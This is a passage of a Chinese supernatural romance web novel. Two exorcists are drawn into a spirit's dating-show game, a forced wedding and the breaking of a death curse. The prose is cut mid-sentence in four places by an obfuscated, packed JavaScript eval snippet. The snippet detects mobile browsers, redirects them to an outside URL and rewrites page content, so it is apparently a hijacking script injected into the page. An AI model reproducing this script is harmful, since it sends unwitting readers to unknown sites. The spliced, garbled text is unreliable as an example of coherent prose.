白川和祁望对视了一眼,明白了游雾的处境—— 他应该是在结界和现实世界之间的接口处,寻常情况下,这种地方不会有固定的形态,应该千变万化奇异诡谲。 但如果灵物对于某个特定的场景有过多的执念,这里也会相应幻化。 白川在心里默念着回复道:“游雾你可以四处翻找一下,看能否找到什么线索。” “没问题。”游雾一口应下,“让我来看看。” “淘汰”了两个人之后,阿蛮的情绪又恢复了平和,她先是看向被控制的两个普通人,逼迫他们说出了自我介绍。 白川没有认真听两人的话,这几分钟里他一直在想,如果轮到自己,自己该说些什么。 两个人发言之后,小石像都发出了绿色的光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14300245|152211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 芒,就像是通关讯号一样,看到这样的绿光,阿蛮满意地点了点头。 她从两人身上收回了目光,然后转向了白川,又朝他笑了笑:“我记得你,之前你帮我拍过照片,你还担心我看不清路摔倒,扶了我一把,让我小心一点。” 白川点了点头,没说什么别的话。 “你是个好人,我喜欢好人。”阿蛮一本正经道,“那我给你跳过这个环节的特权好了,这一轮你不会被淘汰。” 说着,她转向祁望:“那就轮到你了,两句真话,一句假话,请说。” 祁望略略思索,然后开口: “那我就顺着游队的介绍来说吧。” “第一句,我也是个孤儿。” “第二句,我也挺有钱的。” “第三句,我也没谈过恋爱。” 阿蛮又低头盯着手心里的小石像,小石像亮起了绿色的光,却在阿蛮正要宣布通关的时候,又开始闪白色的光。 随后,绿色和白色交替得越来越快,阿蛮的眉心越锁越深。 阿蛮的神色越沉重,祁望的脸色却反而越欢快,他用很轻快的语气问道:“你的‘测谎仪’坏了?” 阿蛮一脸不悦,甚至气急败坏地拍了拍石像,但石像还是在不停闪烁。 她拽了一下林翼:“那你来说三句试试,我看看是不是东西坏了。” 被控制了的林翼在这个局里非常听话。 他很认真地开口:“第一,我是因为阿蛮才能走到这里的;第二,我们很相配;第三,我很爱她。” 阿蛮听到这样的话,脸上闪过一瞬的失落,但也只是一瞬间。她低头去看手里的石像,石像持续地散散发着幽幽的绿光——通过。 所以林翼确实说了两句真话和一句假话。 但哪一句才是假话呢?白川有点困惑—— 按照之前林翼的说法,他根本不可能爱着阿蛮。 但白川看着眼前光彩夺目的林翼和平庸到尘埃里的阿蛮,只觉得两人云泥之别,实在也算不得相配。 阿蛮的关注点却似乎并不在这里,她又绕回了祁望的话题:“我的灵器没有出错,那就是你的问题了,你在骗我。” 她想了想,又很认真地补充道:“你骗得很高明,把我的灵器都弄晕了,但确实是在骗人,所以你也要被淘汰!” 说着,她开始施法,打算将祁望也“淘汰”掉。 忽然,在那阵白光亮起之前,白川开口:“你不能淘汰他。” “为什么不能?”阿蛮反问道,“这是规则,他违背了规则,就是骗子。所有骗子都应该被淘汰。” 白川顿了顿,忽然开口:“因为你刚才说,我这一轮不会被淘汰。而淘汰的话会同时淘汰两个人,而他和我是一组的,如果淘汰他,你就要淘汰我。” 阿蛮愣住了,她没想到自己设计的规则把自己绕了进去。 她还在犹豫,白川又借势补充道:“而且,你的石像也没有一直在亮白色的光芒,代表通过的绿色也一直在闪烁,说明他有可能根本没有违背规则,只是发生了一些石像不能理解的情况。” 阿蛮犹豫了好一会儿,几次想开口争辩些什么,最后却只是咬着嘴唇,很不满意地点了点头。 去第二个环节场地的路上,白川路过阿蛮的身边,忽然听到她幽幽地说了句:“你一定要帮一个骗你的人,你会后悔的。” 白川愣了一下,但很快就把这句提醒抛在脑后,因为他听到了游雾的声音—— “川哥,祁哥,我在木屋里找到了一个盒子!” 5. 心跳 “盒子?” “对,盒子,”游雾描绘道,“雕花檀木的,很精致的盒子。” “盒子里面是什么?” “盒子上了锁……等等我砸一下,啊我打开了!”游雾的语气里忽然带上了几分诧异,“盒子里面有很多照片……” “林翼的照片?” “是的,都是林翼的照片。” “生活照么?” “不像,大多数都是剧照,还都是网络上随便能下载打印的那种剧照,没有什么生活照。就好像……就好像……” 游雾没有找到一个合适的形容词。 白川补充道:“就好像一个粉丝在追星。” “对!”游雾激动道,“就像在追星!” 一个灵物,想要一个普通人的爱意罢了,怎么会像追星一样,偷偷把这人的照片,藏在精致的盒子里,视若珍宝? 还会小心翼翼地跑到为他庆生的广告大屏下面,拍上一张连面都没有见到的“合影”? 难道这不是一时兴起的追逐游戏,而是真心真意? 不应当。 阿蛮的声音打乱了白川的思绪,在众人各有心思的时候,只有阿蛮在专心cue流程:“那么我们进入第二个环节——能饮一杯无。” 她把几人带到了中式园林一处幽深的庭院里,那里摆放着三方石桌,石桌上满是瓜果菜肴,散发着诱人的香气。 “两个人在一起,除了遵守规则,不能欺骗这个基础之外,还需要彼此动心。我们还剩下三组嘉宾,请大家随意约会谈心,会有灵器检验各位的心跳。如果心跳连续超过每分钟90次,就视作彼此动心,也就通过本轮考核。” 话音落下,六人的手腕上各自出现一圈透明的圆环。 “心跳连续达到90次每分钟的话,各位手腕上的圆环会亮起。”阿蛮语气温和,“那么,就不打扰大家了,祝大家遇见心动。” 几人按照她的指示坐在了对应的桌子前。 或许是阿蛮施了什么术法,白川听不见隔壁两桌的说话声,只能看到口型和神态,看起来那组被控制的普通人在尴尬地寒暄,而林翼和阿蛮在熟络地聊天。 白川扭头回来,对上了祁望似笑非笑的目光。 “你笑什么?”白川随口道,“要被淘汰了这么开心的么?如果我们都被淘汰了,这局破起来就困难多了。” 祁望摇了摇头:“没有那么容易淘汰掉。” “你是想用法术操控一下心率?没用的。” 白川这么说,是因为他已经尝试过了。 刚才刚一落座,就试着用术法来提升心率来着,一度提升到了每分钟150次,身体都像是在做有氧运动一样微微发汗,但那个透明手环沉寂得不得了,连微弱的光芒都不曾亮过。 祁望还是摇头。 他忽然伸出手,把白川面前的杯子拿了过来,在里面倒满了桂花酒,然后也给自己倒了一杯。 他用修长的手指举起酒杯,歪了歪头。 白川恍然大悟——用术法不可行的话,当然还有其他的方式可以提升心率——比如酒精。 白川很少碰酒,酒量也不算好,但他还是毫不犹豫地举起了酒杯,轻轻碰上了祁望的杯沿。 收回酒杯的瞬间,白川的手指不小心碰到了祁望的指尖。 白川仰头饮酒,没有注意到,与此同时,祁望被长袖衣服遮住的手腕处,有幽幽的白光闪动。 陶瓷的酒杯发出清脆的声响,眼前的一切和祁望记忆里无数个场景重合。 在漫长到近乎永恒的等待里,他无数次地渴望再次见到这个人,他想他可以什么都不做,只是隔着一张桌子,和白川说说话,喝杯酒,就够了。 如今这低到尘埃里的愿望已经实现了,祁望却发现自己根本不知餍足。 不够。 远远不够。 左手手腕上的光芒愈发明亮,祁望下意识地把这只手收到桌底下,然后,用右手端起酒杯,一饮而尽,紧接着又自斟了几杯,朝着虚空中举杯,然后喝下。 这样,白川就算看到他手腕上的光,也只会当他和自己一样不胜酒力。 他这样想着,然后笑着看向白川。 白川是真的很不会喝酒,三千年前是这样,如今也还是没什么长进。 两杯绝对算不上烈酒的桂花酒酿下肚,白川白净的脸上已经挂上了红晕。 白川在心里默默数着自己的心跳,好像还差一点。 他又伸手去要酒,却被祁望拦了一下:“最后一杯,不能再多喝了,再喝就醉了,说不定会耍酒疯。如果还是不行的话,我们再想别的办法。” 白川迷迷糊糊地对上了祁望的目光,被酒精灌醉的思绪一时间有些混沌。 恍惚间他只觉得眼前人的眼睛亮晶晶的,像是折射着林间细碎阳光的一汪泉水。 他想那泉水一定很甘甜,想着想着,甚至有点渴了。 于是他伸手去找水,却只碰到了被祁望挡住的酒杯,他去拨那只挡在杯口的手,而与此同时,他的手腕上,白光亮起。 祁望几乎不可察觉地笑了笑,他把左手从桌板下面慢悠悠地抬起,相同的白光交错相融。 “白川,祁望,通关。恭喜二位,能够心动,也祝福二位,愿心动人总是眼前人。” 手环响起这样的电子音,然后两个闪着白光的手环一起消失不见。 白川还是有点晕,起身的瞬间晃了一下才站稳。 祁望连忙赶过来扶他,然后轻轻把手按在白川的肩膀上,有莹润的白光从祁望的指尖流淌向白川的周身。 几秒钟后,祁望收回手,白川的眼神也逐渐恢复清明。 回过神来的白川下意识地道谢。 祁望却不以为意,笑道:“我说过了,疗愈系异能也是有用的对吧?” 白川这次终于没再反驳。 阿蛮和林翼两人也已经通过了这一环节的心动考核,两人正浓情蜜意地交谈着。 而一旁的另外两位就没有那么幸运了,一顿饭的时间过去,两人看起来仍是礼貌疏离,两人的手环也都自然而然地暗着。 又过了一会儿,阿蛮看了眼时间,宣布了这两人的淘汰。 阿蛮一副小女生的姿态,牵着林翼的手摇晃着,笑盈盈地走到白川面前:“你们居然这么轻易就通过了,果然,灵器说你们相配,就是真的相配。” 白川自动在脑海里屏蔽了这句话,他碰了一下耳钉,暗自询问还在找线索的游雾:“有什么新的发现么?” “有!”游雾回应得很快,“我翻到了一封情书。” “情书?是阿蛮写给林翼的么?” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14300246|152211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是。”游雾犹豫道,“怪就怪在这里——这封情书的收件人是阿蛮,而落款人竟然也是阿蛮。” “自己给自己写情书?” “对,”游雾颇为无奈,“很离谱,感觉这个灵物真的很缺爱。” 缺爱么? 白川抬头看了看有说有笑的林翼和阿蛮。 即使明知道此时此刻的林翼是被控制的,并非真心实意,阿蛮看起来还是很高兴,这种高兴实在不像是装出来的。 阿蛮也注意到了白川的目光,她眉眼弯弯地笑着,和林翼十指相扣,走到了白川身旁。 “那么接下来就是第三个环节了,”阿蛮谈着恋爱还不忘cue流程,“愿为双飞鸟。” 她挥了挥手,周遭的景色跟着发生了变化。 天色一下子暗了下来,夕阳消失不见,银月当空。 风吹树叶的声音都停滞了,四下寂静。 阿蛮又挥了挥手,有风乍起,古朴的沉寂的园林忽然如同活过来一般,有许多藤蔓刺破土地,迅速向上攀爬。 藤蔓的尖刺上还带着来不及抖落的湿润泥土,它们在梁角屋檐上交织成网,然后才逐渐沉寂下来。 风吹得白川的眼睛有点儿干,于是他眨了眨眼。 再次睁开眼的瞬间,那些藤蔓却已经不再是藤蔓,它们幻化成了艳丽的红绸,悬挂在院落四周—— 远方忽然有唢呐声传来。 奏的是喜乐。 红烛遍地。 在这个只剩下四个人的结界里,有人要举办他的婚礼。 阿蛮忽然开始哼唱一个白川从没听过的调子。 “愿为双飞鸟,比翼共翱翔。丹青着明誓,永世不相忘……” 她哼唱得婉转动人,连带着那张平平无奇的脸,都显得更灵动了几分。 “挺有意思的。”祁望忽然评价道。 “怎么有意思?” “我们身处局中,本应处处危机,却在参加一场婚礼,这难道算不上有趣?” 说这话的时候,跳动的烛火照亮了祁望的脸。 白川看到他嘴角弯起,像是很期待成为这场婚礼的看客。 白川忽然意识到,自己其实根本看不懂祁望这个人。 他躲不开一个在火场里坠落的吊灯,却在这种步步凶险的局中能心平气和地当一个婚礼的看客。 他好像同时弱小和强大,让白川一时不知道哪一面才是他的假面。 一曲唢呐终了,阿蛮的小调也哼到了尽头。 深红色的纱帐随风而动,庭院中凭空出现了一方青铜矮桌,桌上一壶两杯,看来是为今晚准备的交杯酒。 阿蛮忽然站直了身子,眉目含笑,拉着长音开口: “婚礼将启,整肃立——” “请君安坐,以待正礼——” 话音落下,庭院里又添了两张椅子。 但这两张椅子却并不在白川和祁望的身旁,而是紧挨着林翼和阿蛮摆放。 白川正困惑,只见林翼已经坐在了椅子上,阿蛮再次开口: “奉天之作,承地之合,今日行婚姻大礼,白川祁望,将合为一家,比翼双飞,天长地久,为尔佳缘——” 白川:??? 说好的要围观一场婚礼呢? 没有人说过自己才是婚礼的主角啊? 6. 成婚 结婚? 在执行任务的时候顺便结一下婚? 还是和这个才认识了不到24个小时的家伙? 白川不知道是自己出了问题还是这个世界出了问题。 他带着几分慌乱抬起头来,却撞见了祁望平静的目光。 白川开口犹犹豫豫:“喂,你听到了吗?她说……要我们……结个婚???” 祁望点头:“嗯,听见了。” 白川心中有千句万句吐槽的话,但此情此景,落到嘴边竟然只剩下一句“这不合适吧”。 祁望还是点头:“嗯,不合适。” 白川知道眼下最重要的是说服结界的主人阿蛮,于是他试探开口:“这未免也太快了吧?” 阿蛮却答非所问:“但你们很相配。” 白川并不懂这句话里的因果和转折,他瞟了一眼祁望,祁望今天穿着黑色的衬衫,衬得眉目更显深邃锋利。 他不得不承认,虽然他不知道“相配”的结论从何而来,但被人说自己和这样长相气质的家伙相配,倒也并不会让自己感到厌烦。 但是不厌烦是一回事儿,愿意在一起是另一回事,结婚则更是完全不相关的一回事了。 于是白川反问道:“谁说相配就一定要在一起呢?” “相配确实不一定要在一起。”阿蛮对这句话的认可让白川倍感宽慰,但她很快又接了一句,“但相配到你们这种程度,确实应该要结婚的。” 白川:??? 我们哪种程度? 阿蛮可能是追星久了,倒还蛮熟悉一些粉圈CP用语,她又补充道:“按照现在人们的说法,你们这种相配程度,不结婚很难收场。” 白川平时话就不多,更不善于争执辩解,一时语塞,于是目光不自觉地看向祁望,似乎希望祁望拿出平时嘴贫的架势来解决眼前的问题。 比起震惊慌乱的白川,祁望倒是显得平静很多。 他问阿蛮:“你的主场,为什么是我们结婚?你们两个不也是相配又相爱,为什么不是你们先结?” 阿蛮只含糊道:“我们不需要。” 祁望却偏要刨根问底:“你们为什么不需要?” 阿蛮眉头紧锁,抓着林翼胳膊的手攥得更紧了些,扁了扁嘴,终于开口:“因为我们已经成过婚了。” 这句话说得很艰难,但说出来之后,阿蛮似乎轻松了很多,她的头重新抬起来,笃定道:“我们已经成过婚了,堂也拜过了,发也结了,合卺酒也喝过了,婚书上也画过押了。” 一直在场外围观局面的游雾这时候实在是稳不住了,惊叹道:“什么鬼啊,林翼这么多年没被拍到过绯闻,居然已经不声不响结了婚了?还是和灵物结了婚?” 和之前林翼讲的故事联系起来后,他又开口道:“那他岂不是用婚姻跟灵物做了交易,结果灵物帮他成为顶流之后,他又过河拆桥始乱终弃,还想请我们帮他对付被他抛弃的灵物?” 白川和祁望在现场,内心的疑惑也并不比游雾少。 于是祁望打算再刺激一下她,他开口道:“你说你和林翼结了婚?当我们都不追星的么?林翼不是一直单身么?” 阿蛮似乎很懒得解释,她用肩膀碰了碰林翼:“你说。” 林翼的眼神中闪过一丝抵触,但还是很顺从地开口了:“对,我们确实成过婚。” 祁望还是不依不饶:“我知道林翼是被你控制的,你觉得我会相信他在你控制下说的话么?” 看到阿蛮阴沉下来的脸,白川忽然明白了祁望这么刺激阿蛮的意图。 于是他接着祁望的话头开口:“没错,这让我们怎么信?除非……” “除非什么?”阿蛮问。 “除非你解除对林翼的控制,让林翼亲口对我们说。” 阿蛮犹豫了。 白川乘胜追击:“既然你们能通过初始的筛选以及前两关,那说明你和他也很相配,而且他也遵守约定并不骗人,还对你心动,那你为什么要控制住他呢?被控制住的爱还是爱么?” 阿蛮的目光忽然凝滞住了,她呆立在原地,无声地呢喃。 她的口型似乎是在重复那句“被控制住的爱还是爱么”。 白川不再逼迫她了,安安静静地等她做选择。 与此同时,“分会场”的游雾忽然惊道:“找到了!找到了!” “找到了什么?”祁望问。 “婚书!”游雾像是玩密 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14300247|152211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 室游戏找到线索的玩家一样兴奋,“阿蛮真的有成过婚!我找到她的婚书了!” “什么样的婚书?” “很……古老的样子,但是保存得很好。” “上面写了什么?” 游雾挠了挠头:“上面的字很怪,不像是古汉字,歪歪扭扭的,像是象形字,又和象形字也不太一样,我认不太出来……不好意思……不过我能认出来落款!” “落款是谁?” “蛮蛮。” “蛮蛮和谁?” “没有了,没有别的什么人,就只有蛮蛮,只有蛮蛮自己。” 白川的眸色越来越沉。 自己写给自己的情书,只有一个人的婚书——眼前这个灵物到底是在做什么?到底是在求些什么? 在白川思索的同时,阿蛮那边终于做出了决定。 她没说话,只是捏了个诀,笼罩在林翼瞳孔处的淡蓝色光芒退去,林翼像是被抽去灵魂一样,几乎站不住,差点儿摔在地上。 阿蛮扶住了他,却在他站稳之后,立刻松开了手,又往后退了两步。 林翼一眼看到了面前的白川和祁望,立刻意识到了自己的处境。 祁望没有给他犹豫或者反应的机会,直白地问道:“阿蛮说你和她成过婚,这是真的么?” 林翼没有立刻回应,但他躲躲闪闪不肯看向祁望和白川的目光仿佛就在告诉他们——他之前说的确实是谎话,或者至少是被修饰、润色、掩盖过的真话——他们之间,大概真的有这么一场婚约。 阿蛮开口:“这回你们信了?我不骗你们的,我从来都不骗人。” 祁望正打算套些新的话出来,阿蛮却打断了他,把话题重新引到了流程上:“所以,我们已经成过婚了,这回该轮到你们了。” 本以为逃过一劫的白川神色又重新凝重起来。 怎么会有一个家伙自己的事情都混乱成这样了,还不忘cue别人的流程啊? 月老的位置坐腻了的话都应该交给她接着坐。 祁望注意到白川的眼神,然后忽然笑了笑。 在几人不解的目光中,他开口:“我们也不需要,因为和你们一样,我们也成过婚了。” 7. 送魂 “成过婚???” “你们俩???” 游雾从场外传过来的喊声差点刺穿白川和祁望的耳膜。 但他显然不是听到这件事后最震惊的人。 最震惊的那个现在连话都说不出来——白川直勾勾地盯着祁望的眼睛,试图从中看出点儿什么来。 但祁望一如往常,不言不语,眉眼含着意味不明的笑意。 阿蛮先开口:“你说你们成过婚?骗谁呢?你们明明看起来不熟。” 祁望嘴硬:“你看错了。” 阿蛮当然不肯信:“我还听见了你们之间的聊天,生分得很,哪有结了婚的两个人这么生分的,还带敬词?” 祁望继续胡言乱语:“情侣间的意趣而已,你不懂。” 过分离谱的言论堆叠在一起,竟然达到了脱敏疗法的效用,白川的情绪居然在这三言两语间平复下来了。 他现在就是很好奇这家伙到底还能编出什么瞎话来。 见阿蛮语塞,祁望继续说道:“你不是有很多灵器么?难道没有能检验这个的?检验一下不就好了?” 阿蛮倒是从善如流。 她从颈间扯下来一条红绳,上下嘴唇轻碰,念了个咒,把红绳向空中抛去。 红绳一离开阿蛮的手心,就像是活过来了一般,在空中乱窜。 其中一端直直地奔向祁望,很快就缠上了他的手腕,而另一端似乎在犹豫—— 它像是一条被捉住了尾巴但还在努力昂头的小蛇,吐着信子寻找它的猎物。 摇摆不定好一会儿后,它终于终于,瞄准了他的目标,不再犹豫,直奔白川的手腕而去。 阿蛮喃喃自语,声音里满是疑惑:“居然是真的?” “当然是真的。”祁望挑了挑眉,“我不骗人。” 阿蛮犹犹豫豫地站直了身子,皱着眉头念诵着下面的流程:“那今日礼闭,掌灯,入夜。” 红绸还在风中摇晃,夜色更深了几分。 喜烛明晃晃地燃着。 烛火映衬下,白川和祁望面面相觑—— 白川本以为恋综原本设计的三个环节结束之后,这个“灵物导演版”恋综就也该走到尽头了。 没想到阿蛮似乎丝毫没有结束游戏的意思。 说了“掌灯入夜”并不代表剧情线的终结,而是真的掌了灯,入了夜…… 如果按照剧情来算,也心动过了,也成过婚了,那这次入夜…… 白川胡乱想着,忽然就红了耳根。 他这三个月里入局没有十次也有八次了,这么不正经的局倒还是第一次见到。 而他慌乱不安的神情全都入了祁望的眼,连带着耳尖上的红。 祁望忽然失笑—— 他觉得这个灵物也算是做了点好事儿,到时候论罪行罚的时候,或许也可以算作她的一桩功德。 “你笑什么?”白川没好气地问。 祁望收回了他那标志性的白川看不懂的笑容:“我在笑你。” 白川没想到他回答得如此直白:“笑我?” “对,”祁望眨眨眼,“我笑川哥和灵物打起来的时候,可以以一当十、以一当百,怎么遇到这种小把戏反而被绕进去了?川哥,你太守规矩了。” 祁望只说到了这里,白川却立刻明白了他的意思。 每次入局,自己都习惯了认认真真地遵守规则,从各种无厘头的规则里,窥探灵物的内心和真相。 而面前这家伙显然不这么想。 他一直在扰乱规则。 白光和绿光交替的石像,递过来的桂花酒,犹犹豫豫的红绳…… 入局之前白川觉得眼前这家伙是个没有任何实战经验,只能做后勤的“天赋流”新人,想到要和他合作甚至还有点嫌弃,而现在,白川只觉得眼前这家伙实在不简单。 祁望见他发呆,伸出手晃了晃:“川哥,走么?” “走?去哪儿?”白川反问道。 祁望抬起头,直视着白川的眼底:“去做不守规矩的事。” 说着,祁望的目光向窗外看了看,那个方向有另一处院子——那是阿蛮和林翼的院子。 白川不再犹豫,跟着祁望一起走出了房间。 浓云遮蔽了所有的月光,四下漆黑,院落里零零落落的还没燃尽的红烛成了仅有的光源。 两人在石板路上并排走着,步子都放得很轻。 他们的院子和林翼的院子隔着一座小小的花园,弯弯绕绕,曲径通幽。 而祁望走到了花园小径的入口,却忽然下意识地停下了。 “怎么不走了?”白川回头问。 祁望似乎很犹豫要不要开口,终于下定了决心一般:“那个……川哥你能不能帮我变个蜡烛出来?” 白川看了眼祁望,又看了看眼前的路,忽然觉得好笑—— 这成天胡言乱语看起来天不怕地不怕的家伙,居然会怕黑。 见他没立刻应声,祁望继续解释道:“你也知道,我是疗愈系的异能,没什么其他的法术,不会变这变那的……川哥……” 白川这人,素来吃软不吃硬,架不住别人软磨硬泡。 就算心里有点儿想捉弄祁望“报个仇”,但还是认认真真地给他变了盏灯出来。 灯光很明亮,照出交错的树影,两人踩着光,在只能容纳一人的小径上,一前一后地走着。 大概是觉得太安静了,白川随口找话问了句:“你怎么还怕黑的?” “说来话长,从小就这样,”祁望无奈地笑了笑,“走了夜路或者去了很黑的地方,晚上就会做噩梦。” 白川没再搭话,挑起话头并不是他的强项,他只是轻轻捻了捻指尖,灯盏里的光忽然就又明亮了几分。 穿过花园,阿蛮的院子出现在眼前。 可看到那院子的第一眼,白川就皱起了眉头,他回头看祁望,只见祁望的神色也是同样凝重。 “她这是要——” “杀了他。” 两人的想法不谋而合。 院门紧闭,合着的门扇上画着一个很复杂的符咒。 符咒金光闪闪,显然上面倾注了不少灵力。 而这个符咒,白川刚好不陌生,它有一个名字,叫“送魂”。 听名字像是对亡灵的超度,但这个符咒远远没有那么温和—— 把这张符画在八个阵角,能让阵法范围内的生灵陨落,魂魄四散于天地,不入轮回。 这是个死咒,而且是个极其恶毒的死咒,白川只在书里见过。 书上说最早用这个咒的,是上古时候一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14300248|152211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个叫狴犴的灵物,后来那家伙不得好死,也算是因果报应。 阿蛮和林翼到底有怎样的怨仇,何至于此? 白川忽然闭上眼,沉默了几秒钟,然后又睁开:“七个了。再画一个,死阵就成了。” “剩下那个在什么方位?”祁望问,“我们去拦住她?” 白川摇了摇头:“来不及了。已经在画了,送魂这个咒,就算画符的人死了,符咒也会吞噬她的灵力自动画完,动了念头,就回不了头了。” 去阵法里救出林翼也不再现实,说不好就会把自己也搭进去,如果自己死了,想来这个只有疗愈异能的家伙也无力自保。 于是白川也放弃了这个方案。 思索了几秒钟,他忽然抬起头来,走到门口的符咒处,咬破了自己的指尖。 鲜红的血液渗了出来,他借着自己的血液,在符咒上加了几笔,覆盖住之前的符咒。 指尖落下的地方,血液也成了闪着金光的笔触,那金光比灵物画出来的还要明亮。 祁望皱着眉头看了一会儿,忽然明白了白川的意图——你要改符? 说话间,祁望的神色愈加凝重,而白川的脸上,血色逐渐褪去,显得苍白又虚弱。 传闻中,恶毒的“送魂”阵法,只有一个解法—— 改掉其中一张符咒,让一众死门中,出现一道生门。 “送魂”会变成“引魂”,运气好的话,阵法里的人能从生门逃出来,运气差一点的话,被打散的魂魄也会被引至生门,不必魂飞魄散,会有一线生机。 传闻也说,把送魂阵法改成引魂阵法是要付出代价的。 阵法中的大量灵力都会从生门迸发而出,改写符咒的人所受到的冲击有时候会比阵法里的活物还要严重。 所以改符只是传闻,世人并没听说过有谁真的改过。 只有残卷的符咒影像,也不知真假。 不知真假,也还是要试试。 白川继续向符咒上输送着灵力,一旁,祁望见状,也不阻止他,只是抬起手轻轻搭上白川的肩头。 霎时间,一种属性完全不同的灵力也融入了白川体内,顺着白川的指尖,源源不断地向符咒中流淌着。 远处忽然有丧钟声响起,一声一声,悠长渺远。 看来阵成了。 该做的能做的都已经做了,白川站直了身体,盯住这个引魂阵法唯一的生门——能不能逃出来,就看林翼的造化了。 丧钟依旧绵长渺远,一声一声,不疾不徐。 白川和祁望始终没见到林翼的影子。 忽然,一声短促的钟声响起,虚空中一道魂魄的影子疾速逃向生门。 魂魄在阵法里受了不少苦,勉勉强强聚在一起,但已经看不出本体。 它从阵法中逃出来的同时,白川原本直立的身体忽然颤动了几下,然后剧烈地咳嗽了几声,吐出一口粘稠的鲜血。 是阵法在反噬。 祁望要来扶着他,但白川只是摆手,示意祁望先去管逃出来的林翼,祁望皱着眉头,却还是顺从地施了法术,稳住了这个魂魄。 待他施法产生的光芒散掉,白川和祁望忽然震惊地对视了一眼—— 从生门逃出来的零散魂魄,居然不是林翼—— 而是阿蛮。 8. 之前 “阿蛮?” 魂魄还没彻底安稳下来的时候,意识是游离的,并不清晰,就好像一个成年人回归了懵懂的孩童时期,会忘记很多事情,只记得最重要的那些。 她听到白川呼唤自己的名字,下意识地朝白川转过头去,神情稚拙又木讷,就像是前日在电梯间门口见到的时候一样。 只是这回她没有笑。 她眨了眨眼睛,两滴晶莹的泪水从两颊滑落,但因为她现在只是灵体,所以连眼泪也是虚无的,还没等落下就消散成莹白色的光点。 她好像想起来了什么,忽然开始四处张望,神情焦急。 “阿蛮。”白川又唤了一声,怕惊吓到她,声音放得很柔和。 阿蛮听到了他的呼喊,像是抓到了什么救命稻草。 她三两步上前,试图抓住白川的胳膊,但没有实物的灵体只是穿过了白川的身体,她扑了个空。 但她没顾得上这些,看向白川和祁望,睁大了眼睛:“你们救救他,救救他!” “救谁?”祁望问,“林翼?” 阿蛮还在自说自话:“他肯定还在里面,还在里面,救救他,求你们!” 白川拧着眉头,指尖有白色的光芒凝成线,流淌到他改画的符咒上。 符咒如一潭死水,没有回应——这个引魂阵里,已经没有活物了。 如果林翼和阿蛮一样都在阵里,那想必已经毫无生机。 “是谁要害你们?”白川温声问道。 阿蛮摇头:“没人会害我们,我们不害人,别人也不害我们……别人不害我们,我们也不害人……” 她像是牙牙学语的婴童,抓住一句话就一遍遍地重复,无意识地重复。 白川知道从这个状态的阿蛮口中再问不出什么,于是干脆走近阵法,试图从这已经破了的阵法里发现些什么。 他伸手触碰阵角的符咒,忽然皱起眉头,开口道:“不对。” “怎么?”正在给阿蛮的灵体疗伤的祁望也凑了过来。 白川指了指被叠在下层的送魂咒:“这符咒上面的气息确确实实就是阿蛮的气息。” 所以是阿蛮花了灵力设置了送魂的阵法,却把自己困于其中? 白川抬手按了按紧绷的眉心,毫无头绪。 忽然,他听到游雾的声音:“川哥,祁哥,你们在听吗?我找到了一个天大的线索!” 白川示意他说下去。 游雾激动道:“是一幅工笔的古画!画没有落款的时间,但是纸张陈破,看起来是很久很久之前的东西了。” “画上有什么?” “一座山。”游雾应道,“还有两只鸟。” 听起来怪抽象的,白川没明白这为什么是天大的线索。 游雾明白他困惑,继续解释道:“单看画倒是没什么,但画中的山上旁边有新落上去的字,像是注释——崇吾山。” 就像是有人手起刀落,白川脑子里的一团乱麻一下子被斩断,眼前的一切忽然明晰起来—— 原来是崇吾山。 果然是崇吾山! 他们是以整治灵物为生的异能者,对于关于灵物的一切信息资料都很是敏感,无论是上古的传说,还是什么灵异论坛的匿名帖子。 而“崇吾山”对所有异能者来说都并不陌生。 它被记录在那本古早册籍中的前几卷: “崇吾之山,有鸟焉,一翼一目,相得乃飞,名曰蛮蛮。” 后来人们给这个志怪故事中提到的意象起了新的名字,他们叫它比翼鸟。 于是很多人忘掉理他们最初的名字——蛮蛮。 蛮蛮。 所以情书的落款和收件都是蛮字并不奇怪。 婚书上只有“蛮蛮”二字也很合理。 结界能够脱离阿蛮存在应该也是因为这个,毕竟两人的灵力完全相同,互为支撑。 蛮蛮,是两个灵物共同的名字。 